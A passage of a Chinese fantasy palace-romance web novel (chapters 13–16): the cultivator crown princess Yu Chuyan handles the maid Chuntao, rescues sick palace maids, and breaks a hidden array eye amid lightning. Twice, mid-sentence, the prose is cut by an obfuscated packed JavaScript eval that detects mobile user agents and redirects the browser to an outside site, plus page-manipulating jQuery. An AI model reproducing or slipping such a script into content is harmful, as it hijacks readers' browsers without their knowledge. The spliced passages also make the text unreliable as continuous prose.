汪朝顺又想擦汗了,强忍着心虚,“是钦天监监副大人,陛下召他来学习观摩一番,日后若是小仙不在身边,也好有个准备。” 也不知皇后信了没,好歹再未多言,领着太子入内了。 汪朝顺差点腿一软瘫倒在地,由小太监扶着也是颤颤巍巍回到殿内。 日后这种事,他定要想法子推拒了陛下,若是让皇后娘娘知晓,陛下顶多挨上几顿骂,而他怕是这身衣服都保不了了…… 13. 春桃 憋了一肚子气的余初晏回到听荷殿,又见殿内吵吵嚷嚷,不知从何处冒出一堆面生之人,在她殿内喧哗不已。 “太子妃娘娘究竟何时回来,你倒是给个准话!” “我如何知晓,总归在晚膳前会归来。” “这太子妃日日往外头跑,也不知做什么,也是殿下不计较,若放在寻常人家,那可是要被浸猪笼的。” “你这小贱蹄子!嘴贱得很!我让你编排我家小姐!” 余初晏坐在院里歪脖罗汉松枝上,瞧着素兰与面生的宫女打架,旁的宫女想去帮忙却被拦下。 她手中时不时射出几枚小松果,打在那宫女腿弯、手肘,以免素兰落了下风。 有她暗中相助,不消片刻,宫女便被压到地上,动弹不得,此时旁的人再想上前,又被听荷殿的小宫女缠住。 “让你嘴贱!我家小姐如何,连太子皇后都不管,哪轮得到你来说三道四。”素兰按着她就是两嘴巴。 打得她惊声尖叫,嚎哭不已,嘴里大喊侍卫帮忙。 眼见着事情闹大,余初晏才悠悠出现在殿门口,“这是在吵什么?” 素兰心虚地收回手,站起身,“小姐,你今日怎么回来得这般早。” “这位是?”余初晏不答,只瞧着已经被扶起来的宫女,看品级穿着,应该是太子身边的大宫女。 “奴婢春桃,见过太子妃娘娘。”春桃之前放肆,等真见到太子妃,还是老实行礼。 没等余初晏应声,她捂着被打的双颊,委屈至极道:“奴婢奉太子之命,将宫中庶务及中馈之权交由娘娘,在殿中等待时,不甚与娘娘的宫女发生口角,也不知哪句话惹恼了她,竟逼得她动手打人……” “奴婢服侍太子多年,自觉尽心尽力,不敢有一丝懈怠,如今这般,哪还有颜面去太子跟前伺候,若是耽搁了太子要事,奴婢不如一死了之……” 说罢又掩面呜呜哭起来。 哭了半响,不见太子妃回应,春桃抬首望去,眼前哪还有太子妃的身影。 余初晏在殿内转了一圈,没找到任何点心吃食。她虽不会饿,口腹之欲犯了,也懒得听什么春桃啰哩吧嗦,直喊素兰去弄些点心茶水来。 素兰原本越听越气,又想冲上去让春桃闭嘴,还敢暗戳戳用太子压人,看她不让这人长点记性。 却听余初晏一阵呼唤,才发现余初晏根本没有在听春桃哭诉。 精心一番演出,演给了瞎子看。 春桃又怒又急,也不顾微肿的脸颊,令人将殿外的那口小箱子抬到余初晏面前。 “这是东宫内众人的身契,这是库房钥匙,这是东宫布局与僚属宾客名单……” “财务方面一直由詹事大人执掌,交由皇后娘娘审核,” 春桃原先也是皇后身边之人,太子搬来东宫后,便一直侍奉太子左右,近两年才从皇后手中接过这些事务。 管理不久,体会到个中滋味,便再离不得这份权力。 原本太子妃入宫她还念念不舍了许久,不曾想太子不喜太子妃,一直未将这些事务转交给太子妃执掌。 只当自己得太子器重,春桃还得意了一阵,心想名门贵女又如何,到头来还不如她一名宫女,暗中克扣了不少太子妃份例。 谁知太子喜怒无常,这才两个月,又对太子妃宠爱有加,终于是想起东宫大权还未交到太子妃手中,转头便找上春桃。 春桃哪里情愿,只盼着太子妃对这些一窍不通,出几次错被太子责怪后,她又能顺势替太子分担。 今日趾高气扬到了听荷殿,结果连太子妃人影都没见着,等了快两个时辰,殿里的下人和太子妃一般没眼力见,未曾给她续茶。 太子和皇后身边伺候多年,春桃哪受过这种委屈,当下没忍住刺了两句,却被人按在地上打,里子面子都丢了。 好不容易见到太子妃,也是个不讲礼之人,话都不听人说完。 不过看她的样子估计也不会管理庶务,要不了多久,她又能重新拿回这些,只当在太子妃手中寄存。 春桃心中想着,嘴上俞发说得深奥,眼见太子妃眉目间都染上不耐烦,才撇嘴委屈道:“奴婢也知娘娘嫌奴婢啰嗦,可这些都是东宫大事,奴婢若不细细讲来,届时出了差错,影响到太子殿下那可如何是好……” “拿走。”余初晏说。 春桃以为自己听错了,怔在原地。 余初晏又重复一次,“拿走,我不想管,也没空管,让太子自己管。” 开什么玩笑,她给老龙治病,还要管小龙崽子衣食住行?她是来修炼的,不是来做工的。 太子妃如此抗拒,春桃心中窃喜,复又觉得她有些不识好歹了,这可是东宫庶务大权,他人想管都没资格。 嘴上故作震惊道:“可……可这本该是太子妃娘娘分内之事,您这般,奴婢怎么跟太子交代?” 余初晏瞧着她眼里的轻视,恰好此时素兰带着她要用的点心入内,眼珠一转,“既然是太子妃的责任,那我只好接下了,素兰,你来代我管。” “什么!”两人异口同声。 “小姐,这不太好罢,奴婢哪管的来啊?” “她不过是个陪嫁丫鬟,哪有资格管这种事!” 素兰听春桃这么一说,不乐意了,瞪着眼刚要说话。 余初晏复道:“你不也是太子身边的宫女,你能管,我的人怎么就不能管?” “素兰,去接着。有什么不懂的回头去皇后宫里问宋嬷嬷。” 有人撑腰,素兰昂首挺胸从春桃手里抢走钥匙,指挥小宫女把箱子收回去。 阻止未果的春桃,这回是真情实意哭了起来,垂着泪眼向余初晏行礼告别。 素兰一把叫住她,“谁准你走了,方才你如何在我面前编排我家小姐的!敢不敢当着小姐的面再说一次?” 当着一众人的面,太子妃还在旁边漫不经心用点心,春桃慌了神,手中直绞衣摆,方才她不过是一时气恼,说出的话未曾考量。 如今细想之下,编排主子那是要掉脑袋的事,但素兰咄咄逼人,太子妃作壁上观,春桃咬着唇死死不发一言,也不肯跪下请罪。 用过点心,余初晏火气消了大半,盘算着许久未曾好好修炼了,准备挥手让旁人退下,晚膳都不打算用,专心突破筑基中期。 昨日从太子那吸收的紫气还未好好炼化,还有新得来的青渊剑灵力反哺也还积压在丹田里。 闭关几日,在正式布阵前,先强化自身最重要。 至于春桃,区区一个凡人,随口一句暴言,她还不至于计较。 刚起身,就感知到小龙崽子来了,余初晏一想到老龙找她收徒,小龙找她管家,压下去的火气又起来了。 “太子来了,素兰你快些把她弄出去,也不准太子进来。” “啊?小姐……” 没等素兰反应过来,余初晏已经迅速闪进起居室,影子都看不见了。 院外明明空无一人,也不知余初晏是如何得知太子将至的,素兰不情不愿瞪视春桃,“小姐不追究你失言,我可是好好记着呢!等着瞧吧!” 春桃沉默不语,狠狠瞪回去,实则松一口气。 没多久殿外果然传来清唱,太子来了,赵景泽刚从皇后那得来今年新上贡的贡柑,第一时间回宫要给余初晏分享。 高高兴兴赶来听荷殿,却吃了闭门羹。 对着紧闭的雕花大门,与身旁跪了一地的宫女太监,赵景泽茫然,昨晚不是还好好的…… - 余初晏这一闭关,就是三日,若非天道看不下去,惊雷劈中她头顶,她还能继续冥想下去。 从塌上一跃而起,余初晏只觉神清气爽,灵力充沛。 连日待在皇帝身边沾染的黑气从体内一扫而空,经脉里全是精纯的灵力。 掐了个除 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“奴婢去瞧她,她被打得皮开肉绽,奄奄一息。住的地方还是大通铺,又无太医疗伤,旁人也不管她死活,怕是……怕是熬不过这个冬天。” 素兰光是回想糟糕的环境,就有些心悸,转头撞进余初晏漆黑如墨的眼睛里,她又鼓起勇气,继续往下说, “虽说她对阿晏小姐不敬,罪大恶极,但怎么着也罪不至死……” “奴婢害怕,害怕某天自己不慎犯了错,然后也落得如她一般下场……” 况且,那日若非她多嘴,声称余初晏生气不愿见太子,是因为春桃那番话,太子也不会如此生气。 春桃枉死后,化作厉鬼找她麻烦可如何是好。 素兰又惊又怕,再加上余初晏闭关三日,来来往往不少人打探消息,连皇后都派人询问,宋嬷嬷也真的到殿中来,说是教她管理庶务。 光是应付这些人,素兰已经精疲力尽,夜里还偷摸着去看春桃。 余初晏望了望,她跟素兰都未沾上因果,说明因为一句话就被治罪,在凡人规则范围内,算不得她们的错。 说到底天道还是不公,天子一怒,伏尸百万,未必会困于这些因果,只因他能功过相抵,又是天道宠爱之人。 但若是普通人,胡乱杀人,孽运缠身,活着时不受罪,死后也将入十八重地狱。 春桃那日编排的只是普通人,最严重不过挨顿打,不至于伤及性命。 但她偏偏非议的是地位远高于她之人,规则也是由这些人所定,所以她的重伤甚至死亡,都在天道认可范围内。 凡人制定的规则倒是有意思,某些方面保护“弱者”,但总体上还是维护“强者”,强弱的定义也不是单纯地看实力强大,而是从规则中又延伸一套标准。 不管怎么说,皇室,也就是制定规则之人,都是“最强者”,在其之下,又层层分级。 无论怎么分,同层之中,女子又会弱于男子,就像是为了安抚这些男子,让他们不会将矛头转向上层,而是向下。 其间女子之中亦有争斗,似乎谁都想成为同层次中的“强者”,能为更上一层所用。 春桃起初在素兰面前自诩“强者”,哪怕被素兰压着打,仍然万般瞧不起素兰。 如今形势逆转,“强者”落败,素兰反而同情起她来。 “既然素兰这么担心,”余初晏一拍手,“那我们就保她一命罢。” 素兰睁大眼,“啊?” 余初晏说做就做,说走就走,“带我去她待的地方。” 规则允许之内,所以不会沾染因果。她救助皇帝,是天道许可,因此未曾染上因果。 与李晓蓉替嫁,也因为太子与帝后对她的认可、李晓蓉的接受,而因果散去。 余初晏很好奇,救下这个意外的宫女,沾染上因果后,最终会带来什么样的影响。 14. 阵眼 患病宫女住的地方,狭小憋窄,黯淡无光。 屋中燃着火炭,都是些碎块,裹着厚厚的灰,像是人抛弃不用的炭。 数十位宫女围绕着火盆随意地躺在地上,裹着单薄破旧的棉絮,见到人也只睁开麻木不仁的双眼,极快地瞥上一眼,又合上。 劣质的炭灰与血腥气、潮湿水汽混杂在一起,整个房间笼罩着一股死气。 余初晏站着扫视了一圈,她记得偌大的宫中主子寥寥,先帝后仙逝,青渊帝只有一位皇后,再无其他妃子,皇后育有三子,因此皇宫内僮仆的数量并不多。 因着数量少,所以要求更高,稍有患病便扔到此处自生自灭,除非跟了好上司。 春桃还在昏迷中,伤口发炎溃烂,高热不止。 因着素兰的照顾,她所在之地还算干净,趴在半新不旧的被裯上,身旁摆了一副碗碟,上头只余些食物残渣。 素兰这两日来得勤,也算是和这些人混了脸熟,她们虽不知素兰的具体身份,看衣裳也知是几位贵主跟前伺候的。 看春桃的伤口已经有人上过伤药,素兰便问她们何人来过。 被问话的宫女目光一直窥视着余初晏,结巴道:“皇后娘娘身边的大宫女来过……” 素兰记得大宫女名春柳,想来跟春桃是姐妹,过来照顾一番也算合情合理。 “你家主子究竟是何人?居然肯来这种地方。”宫女声音压得很低,像是怕被余初晏听见。 素兰满脸自豪,“那当然,我家小姐最是心善了。” “素兰——”余初晏走近,旁的宫女当下避开了些,生怕污到贵主的眼。 “我不喜欢这里。”余初晏说得很直白,“你给春桃上药,我先离开。” 素兰怔怔地望着余初晏就此离去,一言不发垂头,拿着余初晏给她的伤药,替春桃涂抹。 她动作仔细,自然没有错过涂抹过药的伤口不再红肿,血也止住。 不知做何想,她猛地拉上棉被,彻底盖住了春桃的伤口。 甫一回头,对上了双渗人的眼睛,是另一位从未跟她搭过腔的宫女,声音嘶哑,“春桃有你和春柳真好,这么重的伤也死不了。” 素兰被这双眼睛吓出了冷汗,却还是强扯起笑容,“你的病也快好了吧,要不了多久就能回去上工了……” 那宫女柔柔一笑,半张脸隐在阴影中,紧紧裹着身上的棉被,她说话很慢,眼神闪烁,“瞧你那药还剩了很多……” “素兰。”窗外余初晏又在喊她,素兰握紧手中的药瓶,不再搭理旁人,闷头往外冲,直到重新见到光亮,她才猛地深呼吸几口。 余初晏站在不远处,正与几名带刀侍卫攀谈,“你尽管去请,陛下那边我去解释。” 侍卫们面露犹疑,还是照她所说去做。 素兰心有余悸,直愣愣站在原地,看见余初晏招手换她,才小跑过去。 “下次不要来了。”余初晏语气平淡,“回头遇见春柳,便让她想法子将春桃带走,反正不出明日,她的伤应当好得差不多了。” 素兰低声称诺,垂头丧气,大概猜到她偷摸送来的吃食从未被春桃用过,反而入了旁人的口,也算物尽其用,她安慰自己。 不再想方才的事,她转而好奇问:“小姐,您与侍卫们说些什么?” 余初晏站定,忽然伸出手,一朵细碎的雪花落到她手中,竟是下雪了。 “我让他们去请太医,再不请太医,就要发生血案了。” 素兰被她手中的雪花吸引视线,听她这么说,心中一惊。 “将死之人最是疯狂,久浸于怨气之中,神智不清、行事偏激伤人性命是迟早的事。”余初晏轻飘飘瞥着素兰,“今日我不陪你一起,你就是那个倒霉蛋了。” 素兰吓得牙齿咯咯作响,再回想那道幽深的目光,劫后余生,心中无喜反而尽是悲伤。 “你躲过一劫,其他人未必那般幸运,不过若是有太医过去救治一番,情况可能会改变。” 余初晏虽是这么说,眼睛望着手臂上逐渐缠绕的因果出神,本想只救一个宫女,却染上了更多因果,也不知是福是祸。 早知如此,出门前应该算一卦的。 “你去皇后身边一趟,告诉她我出来了。”随意整理下素兰因跑动而散乱的碎发。 余初晏转而朝着安仁殿而去,她想她已经找到阵眼了,没想到居然藏在这种地方。 再一想又合理,阵眼需要隐蔽,且能源源不断提供怨气。 患病的宫女无人在意,地处偏僻鲜有人靠近,怨气、阴气、死气三者混杂,足以掩盖阵眼。 幕后之人远比她了解后宫的腌臜,也更了解凡人的恶。 - 半路遇上了太子,看架势也是前往安仁宫。太子身边的小太监眼尖,一眼便瞧见了余初晏,忙告知太子。 余初晏站在宫墙上,居高临下俯视着太子的步辇。 也只有她能够在皇宫中如此,不被任何人问责。 “阿晏!”赵景泽从华盖中探出头,虽然奇怪余初晏为何站在宫墙上,但望一眼细碎的雪花,他问,“怎么也不打把伞?” 余初晏不答,慢吞吞在宫墙上踱步。 小太监使眼色,让抬辇之人跟上。 “阿晏,你还在生本宫气呢?本宫也不知春桃会说那种话——绝不是本宫的意思——” 赵景泽攀着步辇边缘,执意与余初晏解释。 小太监想扶又不扶不住,只能反方向抵着步辇,嘴里不停嚷嚷:“殿下小心——”。 “阿泽也要去陛下那?”余初晏还是不做回复,反问赵景泽。 余初晏用“也”,她也要去见皇帝,赵景泽不知她要做什么,已经下意识点头称是。 “那正好。”余初晏轻巧一跃,跃到步辇上,抬辇之人却丝毫没感觉重量增加。 “你这般太慢了,跟我一起走。” 话音一落,赵景泽眼前天旋地转,伴随着下属的惊呼,反应过来他眼前是是余初晏精巧的下巴。 ——他被余初晏横抱在怀中,后者随意掂他一下,“比素兰重不少。” 赵景泽:“……!!!!” “太子妃殿下!这可使不得啊!太子妃殿下!太子殿下!!”小太监叫得撕心裂肺。 余初晏理都没理,足尖一动,已经快速掠过不少宫墙,将赵景泽的下属远远甩在身后。 身边风景快速后退,脑中空白一片的赵景泽心想阿晏力气可真大,阿晏怀里又暖和又软和,阿晏武功确实高强…… 几息间安仁宫近在眼前,赵景泽忽然醒悟,挣扎着要下去。 余初晏一时不查,差点没抱稳,为了护住他,只能停下,稳妥地将赵景泽放到地面。 她面露疑惑与指责,“那样很危险,我要是松手了,你就要受伤了。” 赵景泽被她弄得满脸红晕,也不知是气得还是羞得,他拂袖,一言不发往安仁宫走。 被太子妃横抱这件事对太子造成的冲击太大了,心都快跳出胸口,他缓了一阵才定神。 打定主意忘记这件事,只要看到的人不多,那就是无事发生,他还是仪表堂堂的太子殿下。 赵景泽沉默半响,转移话题道:“阿晏找父皇所谓何事?” 余初晏跟他并肩而行,她比寻常青渊女子高些,赵景泽眼一瞥就能看到她沉静的眉眼,朱唇轻抿,端得是仙姿佚貌。 双眼没看他,目视着前方,蝶翼般的睫毛时不时一颤,赵景泽也跟着心尖微颤。 “你一会就知道了。”余初晏不是卖关子,解释起来很麻烦,倒不如让赵景泽亲眼见着。 她忽然侧首,撞进太子透亮的眼中,赵景泽像是被撞破心事般,匆匆移开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536541|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,热意自始至终未下过他的脸,还有更盛之势。 余初晏漫不经心收回视线,“我未因春桃的事生气,当时有别的事不得不闭关两日。” 春桃不过是被框在规则之中,顺应上层要求的傀儡,余初晏游离在凡间规则之外,并不在意她为保地位的一些小心思。 “嗯,没生气就好。”赵景泽呐呐应下,“春桃口出不逊也该罚,不过阿晏为何不愿管理东宫庶务?” 他语气里藏着小心的试探,余光也在观察余初晏的神情。 余初晏不甚在意,“我不是让素兰接手了吗?她管不就是我在管。” 赵景泽泄气,小声嘟囔,“那不一样,这种事合该是妻子管。” 回廊尽头,汪朝顺的身影出现在视野中,似乎刚得到消息,一路小跑着赶来。 余初晏闻言又看向太子,“我没空管,你若是不满意,再找个人管便是了。” 她本意是信不过素兰的话,再让春桃也好、夏桃也好,找个有能力的宫女管,以前能管,现在照样能管。 但赵景泽显然误会了,当下就慌了神,“我不是那个意思……赵家人只会有一位妻子,我有你就够了,你不想管便不管罢。” 说罢,他去拉余初晏藏在袖中的手,后者并未躲开,任由他勾在手中,掌心相贴。 寒冬腊月,余初晏的手如暖玉般,未曾沾染半分寒气。 未等赵景泽在想说些什么,汪朝顺已经率着一众宫人,行至眼前。 他草草地跟太子见礼,一把拉过余初晏另一只手。 赵景泽:“?”这汪朝顺好大的胆子。 汪朝顺张口就是夸张的哭嚎,“哎哟,奴才的好大人,几日不来,陛下可一直记挂着您,怎的忽然闭门不出也不派人通知奴才一声,也好有个准备。” 余初晏目光阴测测,“陛下不是想让我收徒吗,那裴大人可有学得什么?” 汪朝顺一瞥满脸震惊的太子,心底发虚,“陛下何时说过收徒一事,只是让您过过眼,过过眼而已——陛下还等着您呢。” 言语间催促余初晏快些。 余初晏将手抽回,倒没松开太子,顺势拉着呆滞的赵景泽一同往前。 “材料可准备好了,我已经找到阵眼,要不了几日便可开始逆阵了。” 汪朝顺忙点头称是,事关皇帝,岂敢怠慢,余初晏清单上的材料早就整理好了,只等她传用。 “阵眼那处,住有数十名宫女,想些法子让她们腾个地——最好给她们都诊治一番,免得多生事故。” 余初晏简短地将所见所闻转告给汪朝顺,顺带将派遣侍卫一事也告知,以防侍卫被追责。 这种事交给他们宫人就好,余初晏只消专心布阵。 汪朝顺将她所说一一牢记,患病宫女之事,他略有耳闻,宫中此类腌臜事不算少,毕竟僧多粥少,人多是非也多。 却不想以往他从不放在心上的事,差点成了害死陛下的导火线。 若非余初晏相助,若非余初晏心血来潮去一趟下面,陛下与青渊国将要遭多少罪。 此番陛下转危为安,他定要与皇后娘娘一提,重新整治这内廷各处,断不可再留隐患。 念此,汪朝顺看向余初晏的目光也俞发祥和,触及到她与太子交握的双手,暗叹口气,陛下又是何苦折腾。 余初晏将事情交代完,恰好抵达安仁宫正殿,殿门缓缓打开。 一路呆滞的赵景泽终于恍然大悟,“原来阿晏你就是那个为父皇诊治的高人!” 难怪帝后态度如此奇怪,不仅不追究李家欺君之罪,还默认了这场替嫁,母后每日都要过问他与阿晏感情如何。 难怪阿晏时常不在东宫,难怪阿晏在宫中来去自如无人指责。 一切都源于阿晏是父皇救命之人,赵景泽瞠目结舌,他的太子妃,究竟是何方神圣? 15. 破阵 宫中走水了,明明身处腊月,风雪交加,那火势却旺得离奇。 因着走水之处偏僻,待宫人运来激桶,扑灭明火后,低矮的房舍已经被烧得只余残破的框架。 余初晏第二日清晨便得知此事,太子为此专程来找她。 火来得太过蹊跷,余初晏啧啧称奇,“昨日我刚去过那里,晚上便起火,哪有这么巧。” 赵景泽心忧不已,“得亏母后昨日就令人将那些宫女腾走了,若不然她们全都丧身火海了。” “去瞧瞧。”余初晏作势要走。 赵景泽却拦住他,耳尖微红,“阿晏何必如此心急,咱们坐步辇去……” “你也要去?”余初晏微讶。 阵眼处被烧,众气繁杂,本身又是专门为龙气设下的,赵景泽不似她有灵力防身,冒然前去,沾染上黑气,龙气不纯,身体受损可怎么办。 当下拒绝,“不行,你不能去,你不是该去给帝后请安,去安仁宫待着,别乱跑。” 赵景泽身为一国太子,此等大事,哪能安然置身事外,沉着脸不愿动,心道余初晏小瞧他。 唇角一热,余初晏一触即离,又摸摸他的头,“宫中有内鬼,那些宫女昨日未死,内鬼未必会放过她们,你派些人手保护她们,再加紧将内鬼揪出来才是当务之急。” 赵景泽憋着气,大喘一声,“你怎么又……” “你不喜欢?”余初晏反问,当然她不会承认亲一下紫气给得太多了,顺势占便宜。 赵景泽支吾,腾地声站起来,什么都没说便走了。 只是他走出不到一引路,极佳的耳力让余初晏听到他小声自言自语,“随便贴一下,算得了什么吻,赵景泽你可真没出息。” 小龙崽子喜欢,但是不满意,余初晏记在心中。 走水之处已经被重兵团团把守,为首的侍卫见到余初晏,欠身行礼。 几名身着灰衣圆领袍的侍卫在废墟中探查,其中便有余初晏曾有一面之缘的灰衣太监。 几人让开些身位,好让余初晏走近。 “殿下可有发现?”瞧着余初晏若有所思,灰衣太监问道。 余初晏未答,她随意在房前走动一圈,眼前浓厚的黑气卷杂其他气体裹成巨大的球体。 它们被困在这一小片废墟中,无法向外蔓延。 顶部还有黑气不断聚拢过来,在阴沉的空中汇聚成一缕缕飘带。 点点火星于气团中闪烁,余初晏伸手触碰,火星遇到她的指尖后迅速燃烧,所有的火星都被引燃,并拢向余初晏。 侍卫们只见余初晏向虚空抬手,下一瞬全身燃起蓝色的火光。 没等他们冲上前救援,那火已经自行熄灭,余初晏安然无恙地站在原地,衣角都未曾沾灰。 不待旁人开口,余初晏道:“那人应当不知道宫女们已经提前转走,却知我昨日上午来过。” 并且知道余初晏的身份,她在宫中并不遮掩自己的言行,时常在宫墙上掠过,有心之人探查到她的身份轻而易举,又不是谁都像太子一般不想事。 至于为何说不知宫女不在,是因为纵火之人打着将宫女们活活烧死,助力法阵运转的主意。 火也不是一般的火,勉强算得上是灵火,这种灵火对修真者来说不足挂齿。 但在凡人身上,那是皮肉连同灵魂一同焚烧,直至魂飞魄散,才堪堪灭去,若是身边有他人,此火还会蔓延至他人身上。 以普通火作幌子,燃烧房屋,又暗藏邪火,试图杀人害命。 若非余初晏有这么双眼睛,未必能看透幕后黑手的把戏。 饶是镇定如灰衣太监,也被这突如其来的自燃吓了一跳,余初晏安好如初,他方松口气,道:“殿下当以自身为重,何故以身涉险?” “这对我来说算不上险。”说着,余初晏踏进废墟,用法诀将倒塌的房梁挪至一旁。 几枚符篆与灵石顺着她的动作,四处散落,简单围成一个圈。 一滴凤凰血从指尖射出,溅在厚厚的灰烬中,很快溶于地面。 做完这些后,余初晏自袖中拿出青渊剑,剑刃出鞘,反手被她插入屋中心的炭盆之中。 符灰掩盖在炭灰之中,昨日她单以为是炭火过于劣质,加之病患身上气味,才致使房中恶臭不已。 如今一看,却是她被这粗糙至极的障眼法骗了过去。 青渊剑缠绕的亡灵悸哭不已,顺着剑身涌入地底,疯狂蚕食阵眼中被束缚的冤魂。 余初晏半跪于地面,双手紧握着颤动的青渊剑,借由剑身,将自身灵力输入阵眼之中,意图破阵。 然而她准备不足,仅仅在旁边随意布了几道符篆与灵石。 灵气原本还受她控制,再后来失控般涌入剑中,不再是她紧握剑柄,而是剑柄束缚着她无法脱身。 随着灵力流失,余初晏脸色渐白,手中的青渊剑抖得不像样,如此下去,哪怕破了阵眼,青渊剑也将暴走,大开杀戒。 心中虽焦急,面上却不显,她咬破舌尖,开始念咒,心道:狗屁青渊剑,我能锤你第一次,就能锤爆第二次,第三次! 青渊剑挣扎力度更甚,反借由阵眼想要夺取余初晏身体控制权。 站在四周的侍卫忽觉耳边万鬼哭嚎,脑中胀痛欲裂,有弱者鼻翼之下红斑点点。 余初晏大声呵斥让他们退开一里,若是青渊剑见夺她身不成,转而将目标放到这些柔弱的凡人身上就遭了。 灰衣太监犹豫一瞬,终究下令所有人退开。 待到退至一里开外,众人头疼的症状果然转好,顿时惊骇不已。 不知何时,天空风起云涌,闪电于层层黑云之中蠢蠢欲动。 雷电越聚越多,沉甸甸压在宫城之上,引得京中之人皆抬头观望,议论纷纷。 皇帝被嘱咐万万不可离开安仁宫,与皇后一同,透过敞开的窗户,担忧地望向积云的方向。 赵景泽半路令步辇转向,到底还是太过心忧,不顾身边人的阻拦,执意要去往余初晏所在的方向。 万众瞩目之下,那道雷终究是劈了下来,裹挟着万钧之力,重重地打在了余初晏身上。 掩盖在震耳雷声中的,是余初晏怒极脱口而出的大骂:“天道,我去你大爷!” 少倾,乌云散去,久违的阳光洒落。 - 京郊几里外,粉衣少女骑在高头大马之上,一手勒着缰绳,一手遥指澧都,“大哥,你看!好大一道雷,可不是把皇城都劈没了!” “休得胡言乱语。”被她称作大哥的精壮汉子踱马上前,冬日里也只着一身短打,他望去时,天空已是云销雨霁,彩彻分明。 只是那阳光,堪堪落在皇城之间,他们所处之地仍然阴沉飘雪。 “听闻赵景泽那厮娶了个太子妃。”另一匹白马挤进两人中间,玄衣少年吊儿郎当叼着草茎,“大哥我们快回去瞧瞧,到底是什么天仙人物。” 大哥呵斥:“休得对太子殿下无礼。” “老古板!假正经!我先行一步!”马匹嘶鸣,顺着长坡疾驰而下,尘土飞扬。 粉衣少女见状,一扬马鞭,追了上去,口中高呼:“二哥等等我。” 只余短打男高高立于山头,他一挥手,身后三百精兵列阵,浩浩荡荡奔向京中。 印着麒麟衔珠的旗帜在风中飘扬,跟随着马蹄声,渐行渐远。 另一座山头,能将奔驰的军队与澧都尽收眼底。 “少主,贺家军回京,阵眼已破,赵家人短时间内怕是无法拿下。” 被称作少主的青年,身着绛紫圆领长袍,祥云纹覆满双臂,细一瞧,一条五爪金龙隐于祥云间。 他负手而立,遥望天边的金光,久久不语。 良久,他缓缓开口:“仙师怎么说?” “仙师大人道他自去会会那黄毛小儿,请少主先行回圣都。” 紫衣青年离去前,再深深望向皇廷,心中暗自可惜,如此惊才艳艳之辈,却与偷盗者为伍。 仙师出手,那人要不了多久便埋骨于此,只叹她站错了队,偏生与仙师为敌。 青年终究是收回视线,于众人的簇拥下扬马而去。 在他身后,晖光重新被云层掩去,风雪再度席卷。 - 哪怕皇城司众侍卫筑起防线,还是有不少宫人听到动静围在四周,窃窃私语, 赵景泽穿过他们,直奔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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飘雪重新落下,落在地面后化作水花。 看这雪隐隐有越下越大的趋势,赵景泽安抚地摸了摸余初晏的墨发,跟她商量,“阿晏,外间太冷了,我们先回东宫?” 余初晏闷闷地应声,手中却无松开之意。 轻声细语哄半天,赵景泽好说歹说劝着余初晏放开了他,替她裹紧大氅后,一把将她横抱起。 后者顺从地窝在他怀中,垂着眼睑,神色蔫蔫。 反观赵景泽,脚下稳稳当当,心中雀跃不已,被阿晏梗抱又怎么样,他抱回来就是了,况且今日旁观的人可比昨日多得多。 记挂着余初晏的内伤,赵景泽走得很急,久了手臂也有些酸痛。 当初父皇让他多习武,他阴奉阳违,常常偷懒混过去,今日却是后悔都来不及。 只盼着日后定要勤加练武,绝不能在阿晏面前丢人。 这厢赵景泽为了面子硬抗,灰衣太监还上前拦住两人,朝着余初晏跪拜追问情况如何。 赵景泽呵斥他不长眼,没见余初晏精神不济,急需治疗。 灰衣太监不躲不避,执意要一个回答。 余初晏拍了拍太子胸口,示意他放手。 双脚踩实,站直身体,赵景泽还是担忧地想要扶着他,被余初晏推了一把,她只是心情不好,未曾受伤。 直直望向灰衣人,余初晏淡声道:“阵眼已破,陛下可以离开安仁宫了。” “等再过几日,我会重新替陛下绘制符箓,要不了多久,陛下就能彻底康健。” 灰衣太监深深伏地一拜,不仅仅是他,周身跪了一地宫人,赵景泽沉默不语握紧了余初晏的手。 余初晏看见点点金光从这些跪伏于地的人身上冒出,数量并不多,只有少数人涌出,其中便有灰衣太监。 这些金光跳跃着汇入她的丹田,浅浅地修复一层灵力,但仅仅这么点,也让余初晏感受到了一丝天道能量。 ——她忽然意识到,这就是信仰之力。 16. 剑下留人 几枚纤细的丝线缠在腕间,余初晏好奇拨弄一番,引得握着丝线的老太医谴责地瞪过来。 坐在一旁的赵景泽顺势握着余初晏的手,不让她作乱,看老太医神色微妙,问道:“张太医,阿晏的身体可是出了什么问题?” 老太医揪着山羊须,感受半天,这太子妃脉象平稳,强健有力,根本不见任何内伤。 他这么一说,太子却是不信,“不可能,阿晏这些天食欲不振,膳都不用了!” 老太医:“……” 赵景泽又道:“许是阿晏内力高强,脉象与常人有所不同,你不会看不出来吧?” 老太医吹胡子瞪眼,心道太子胡搅蛮缠,太子妃分明强健如牛,如此不信他,还找他诊断做甚。 “行了,都说了我什么事都没有,我的话你也不信,太医的话你也不信,你到底要做什么?” 余初晏替太医解围,丝线束缚弄得她万般不适,若非太子执意,她可不会将命门露于人前。 老太医收拾好工具退下,象征性地开了些安神的方子,赵景泽还是略带不满,嘟嚷着再换个太医来。 余初晏甩开他的手,一副翻脸不认人的模样。 这几天她为了恢复丹田灵力,时常待在赵景泽身边,足够见识了他墨迹又话多的性子。 不用膳食,不过是因为不想分出灵力剔除凡间食物中的杂质,却被赵景泽翻来覆去念叨了几日。 如今因着少量信仰之力,丹田充盈得差不多,她便想自己独处会,可赵景泽太过粘人。 “我要去陛下那,你在东宫待着,别跟着我。” 话毕,她已经消失在殿中,不给赵景泽反应的机会。 连接的雪天,让宫中裹上一层白霜,明晃晃得刺眼。 